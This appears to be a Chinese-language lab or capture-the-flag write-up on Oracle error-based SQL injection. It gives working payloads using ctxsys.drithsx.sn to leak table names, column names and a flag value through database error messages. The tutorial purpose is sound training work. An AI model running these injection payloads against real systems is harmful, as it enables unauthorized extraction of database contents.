oracle报错注入

oracle的报错注入的原理和mysql的不一样,但实现的功能是一样的。

使用场景是,1、无法回显的盲注 2.当字段数或类型的原因无法使用union联合查询时

1.查询是否有注入点
对url后面加上mssql的注释 - -,页面异常
oracle报错注入
后面加上 '- -
oracle报错注入oracle报错注入
页面显示正常,证明有注入点,并要用’进行闭合

2. 利用函数ctxsys.drithsx.sn 进行报错注入
函数的用法:
1=ctxsys.drithsx.sn(1,(查询语句))

3.查表名
语句是:
and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 ))
oracle报错注入oracle报错注入
数据库报错,报错语句中得到了我们想要的ADMIN表
4.查字段名
语句:
and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where rownum=1))
oracle报错注入oracle报错注入
第一个字段名是ID,不是我们想要的字段名,oracle又没法像mysql一样用limit,哪还有什么方法可以得到第二行数据呢

5.用<>查看后面的数据
可以用条件: 字段名<>第一行的字段值(就是我们第一次查出来的)
就展示了第二行的数据
语句:and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where rownum=1 and column_name <>‘ID’))
oracle报错注入oracle报错注入
第三行
and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where rownum=1 and column_name <>'ID’and column_name <>‘USER_NAME’))
oracle报错注入oracle报错注入
第n行
oracle报错注入oracle报错注入
得到的我们想要的FLAG_FLAG字段
5.查表内的数据
and 1=ctxsys.drithsx.sn(1,(select FLAG_FLAG from ADMIN where rownum=1))
oracle报错注入oracle报错注入

我们也得到了我们需要的信息:flag为:zkaq{a93fe484c}